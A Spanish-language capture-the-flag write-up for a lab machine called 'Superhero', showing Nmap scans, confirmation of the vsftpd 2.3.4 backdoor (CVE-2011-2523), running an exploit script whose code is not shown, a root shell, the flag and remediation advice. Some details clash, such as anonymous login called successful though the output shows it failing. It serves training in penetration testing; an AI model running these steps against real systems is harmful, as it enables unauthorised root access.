

# Informe de Vulnerabilidades Máquina SUPERHERO

## Información General

- **Hostname:** superhero
- **Dirección IP:** 172.17.0.2
- **Fecha de inicio:** 08/06/2026

\*\*\*\*\*

### 1. Alcance y Objetivo

El presente informe detalla la evaluación técnica de seguridad realizada sobre el activo "Superhero". El objetivo primordial es ejecutar un ciclo completo de pruebas de penetración que permita identificar debilidades en los servicios expuestos, explotar vulnerabilidades críticas para obtener acceso inicial y, posteriormente, realizar una escalada de privilegios local hasta comprometer la cuenta de super usuario (root), extrayendo la prueba de compromiso (Flag) final.

### 2. Metodología Utilizada

Para garantizar una evaluación exhaustiva y replicable, se aplicó una metodología de Pentesting de Caja Negra (Black Box) basada en el estándar PTES (Penetration Testing Execution Standard). Este enfoque asegura que las pruebas se realicen desde la perspectiva de un atacante externo sin conocimiento previo de la infraestructura interna.

#### 1. Fase de Escaneo y Enumeración de Servicios

Para determinar la superficie de exposición del objetivo, se procedió a realizar un análisis exhaustivo de puertos y servicios sobre la dirección IP **172.17.0.2**. Para esta tarea se utilizó la herramienta **Nmap**, aplicando scripts de enumeración estándar y detección de versiones para profundizar en la configuración de cada servicio identificado.

- **Comando ejecutado:** nmap -sV -sC -p- 172.17.0.2

- Resultados obtenidos luego de ejecutar el comando con Nmap

```
kali@kali: ~/maquinas_ctf/superhero
Session Actions Edit View Help

(kali@kali)-[~/maquinas_ctf/superhero]
$ nmap -sV -sC -p- 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-08 02:32 EDT
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
|_ ssh-hostkey:
|   3072 a8:2d:f2:2c:a5:e4:79:ce:cf:2f:5a:b7:a2:9a:48:85 (RSA)
|   256  c8:ad:13:a8:94:ec:9f:05:17:34:e2:08:c8:a9:92:fb (ECDSA)
|_  256 26:45:a5:c7:a9:f2:3f:d1:5e:9c:2f:78:3e:79:ef:11 (ED25519)
8080/tcp  open  http     Apache httpd 2.4.66 ((Debian))
|_ http-server-header: Apache/2.4.66 (Debian)
|_ http-open-proxy: Proxy might be redirecting requests
|_ http-title: Liga de la Justicia - Hall de la Fama
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.20 seconds

(kali@kali)-[~/maquinas_ctf/superhero]
$
```

## 2. Fase de Enumeración y Análisis de Servicios

### 2.1. Validación del Servicio FTP (Puerto 21)

Se identifica el servicio vsftpd 2.3.4 el cual está asociado al famoso Backdoor (CVE-2011-2523).

```
kali@kali: ~/maquinas_ctf/superhero
Session Actions Edit View Help

(kali@kali)-[~/maquinas_ctf/superhero]
$ nmap --script ftp-vsftpd-backdoor -p 21 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-08 02:48 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000069s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
|_ ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPD version 2.3.4 backdoor
|   State: VULNERABLE (Exploitable)
|   IDs:  BID:48539  CVE:CVE-2011-2523
|   vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|   Disclosure date: 2011-07-03
|   Exploit results:
|   Shell command: id
|   Results: uid=0(root) gid=0(root) groups=0(root)
|   References:
|   http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|   https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|   https://www.securityfocus.com/bid/48539
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|_ MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds

(kali@kali)-[~/maquinas_ctf/superhero]
$
```

Se confirmó que el servidor vsFTD 3.0.3 permite el ingreso con el usuario: **Anonymous**.

```
(kali㉿kali)-[~]  
$ ftp anonymous@172.17.0.2  
Connected to 172.17.0.2.  
220 (vsFTPD 2.3.4)  
331 Please specify the password.  
Password:  
530 Login incorrect.  
ftp: Login failed  
ftp> █
```

```
ftp> ls -R  
229 Entering Extended Passive Mode (|||44168|)  
150 Here comes the directory listing.  
226 Directory send OK.  
ftp> █
```

No se identificaron archivos legibles dentro del entorno restringido del usuario anónimo.

## 2.2. Enumeración de Servicios ftp (Puerto 21 - FTP)

No se realiza ningún proceso de enumeración ya que proceso de acceso se intentará por medio la generación de un script de

## 3. Explotación de Vulnerabilidades

### 3.1. Creación archivo para Script

Luego de la comprobación de la vulnerabilidad Backdoor (CVE-2011-2523) se procede a la creación del archivo que contendrá el Script elaborado en Python para que a través de este se pueda generar obtener el control de la maquina que se está intentando vulnerar

```
Session Actions Edit View Help  
kali@kali:~/maquinas_ctf/superhero  
(kali㉿kali)-[~/maquinas_ctf/superhero]  
$ touch exploit.py █
```

### 3.2. Elaboración de Script

Se procede a la elaboración del script para poder interactuar con la puerta trasera vsftpd 2.3.4 y desde el script se ejecuta el script sin configurar un listener de Netcat para una reverse shell en Python utilizando sockets; que disparen un trigger en el puerto 21 y que permita capturar el prompt en el puerto 6200

```
kali@kali: ~/maquinas_ctf/superhero
(kali@kali)-[~/maquinas_ctf/superhero]
$ nano exploit.py
```

### 3.3. Asignación de permisos de ejecución

Se listan los archivos para validar si ya existe el archivo en la carpeta de la maquina que necesitamos vulnerar y procedemos a asignarle el permiso para ejecución ya que al momento de crear un archivo en Linux es necesario asignarle la propiedad de ejecución.

```
kali@kali: ~/maquinas_ctf/superhero
(kali@kali)-[~/maquinas_ctf/superhero]
$ ls -l
total 176948
-rw-rw-r-- 1 kali kali 1901 Jun 8 01:31 exploit.py
-rwxrwxr-x 1 kali kali 3985 Feb 1 16:10 startlab.sh
-rw----- 1 kali kali 181179392 Feb 1 16:48 superhero.tar

(kali@kali)-[~/maquinas_ctf/superhero]
$ chmod +x exploit.py

(kali@kali)-[~/maquinas_ctf/superhero]
$ ls -l
total 176948
-rwxrwxr-x 1 kali kali 1901 Jun 8 01:31 exploit.py
-rwxrwxr-x 1 kali kali 3985 Feb 1 16:10 startlab.sh
-rw----- 1 kali kali 181179392 Feb 1 16:48 superhero.tar

(kali@kali)-[~/maquinas_ctf/superhero]
$
```

### 3.4. Ejecución de Script

Se procede a la ejecución del script Python creado hacia el host con la IP 172.17.2.0, lo que nos permite conectarnos a través de una reverse Shell.

```
Session Actions Edit View Help
(kali㉿kali)-[~/maquinas_ctf/superhero]
$ ./exploit.py -host 172.17.0.2
[*] Enviando trigger malicioso al puerto 21 de 172.17.0.2 ...
[+] Trigger enviado con éxito.
[*] Intentando conectar a la shell en 172.17.0.2:6200 ...
[+] Conexión establecida. Introduce tus comandos (ej. id, whoami, ls):

#
```

Una vez que estamos dentro de la maquina después de la ejecución del script, procedemos a ejecutar el siguiente comando:

**python3 -c 'import pty; pty.spawn("/bin/bash")'**

El cual nos permite abrir una Shell interactiva bash dentro del pseudo-terminal (PTY) utilizando python.

```
kali@kali: ~/maquinas_ctf/superhero
Session Actions Edit View Help
(kali㉿kali)-[~]
$ cd maquinas_ctf

(kali㉿kali)-[~/maquinas_ctf]
$ cd superhero

(kali㉿kali)-[~/maquinas_ctf/superhero]
$ ./exploit.py -host 172.17.0.2
[*] Enviando trigger malicioso al puerto 21 de 172.17.0.2 ...
[+] Trigger enviado con éxito.
[*] Intentando conectar a la shell en 172.17.0.2:6200 ...
[+] Conexión establecida. Introduce tus comandos (ej. id, whoami, ls):

# python3 -c 'import pty; pty.spawn("/bin/bash")'
root@superhero:/tmp#
#
```

Procedemos a ingresar al **cd/root** y luego listamos el contenido con el comando: **ls -l**

- Se observa el archivo flag.txt
- Leemos el archivo con el comando: **cat flag.txt** y listo encontramos la bandera de la máquina.

```
# python3 -c 'import pty; pty.spawn("/bin/bash")'
root@superhero:/tmp#
# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 2 Jun  8 17:31 supervisord.pid
root@superhero:/tmp#
# cd /root
cd /root
root@superhero:~#
# ls -l
ls -l
total 4
-rw----- 1 root root 41 Feb  1 21:46 flag.txt
root@superhero:~#
# █
```

```
root@superhero:~#
# cat flag.txt
cat flag.txt
FLAG{5up3rh3r0_Pwn3d_By_V5ftpd_B4ckd00r}
root@superhero:~#
# █
```

### 3.5. Validación de la bandera encontrada

```

kali@kali: ~/maquinas_ctf/superhero
Session Actions Edit View Help

[v] Laboratorio desplegado correctamente.

LAB: SUPERHERO
DIFICULTAD: ★★☆☆☆☆ medio (3 puntos)

IP del laboratorio: 172.17.0.2

Ingresa la flag (formato FLAG{...}): FLAG{5up3rh3r0_Pwn3d_By_V5ftpd_B4ckd00r}
¡Felicitaciones! Has comprometido SUPERHERO.

FECHA Y HORA: 2026-06-08 13:42:01 -0400

[*] Presiona Ctrl+C para eliminar el laboratorio
```

## 6. Informe Final y Remediación

- **Herramientas utilizadas:** Nmap y Mozilla Firefox

- **Recomendaciones:**

1. Se recomienda eliminar cualquier instalación de vsftpd 2.3.4 descargada entre el 30 de junio y el 03 de julio de 2011
2. Instalar una versión más reciente y confiable de vsftpd ( $\geq 2.3.5$  o superior).
3. Usar repositorios oficiales de la distribución (Debian, Ubuntu, Red Hat, etc.) para evitar binarios comprometidos.
4. Usar `netstat -tulnp` o `ss -tulnp` para verificar si el puerto 6200 está abierto.
5. Revisar logs de acceso FTP y del sistema para detectar intentos de conexión al puerto 6200.
6. Restringir acceso FTP solo a redes internas o usuarios específicos.
7. Mantener un ciclo de **parches y actualizaciones regulares** en todos los servicios expuestos a internet.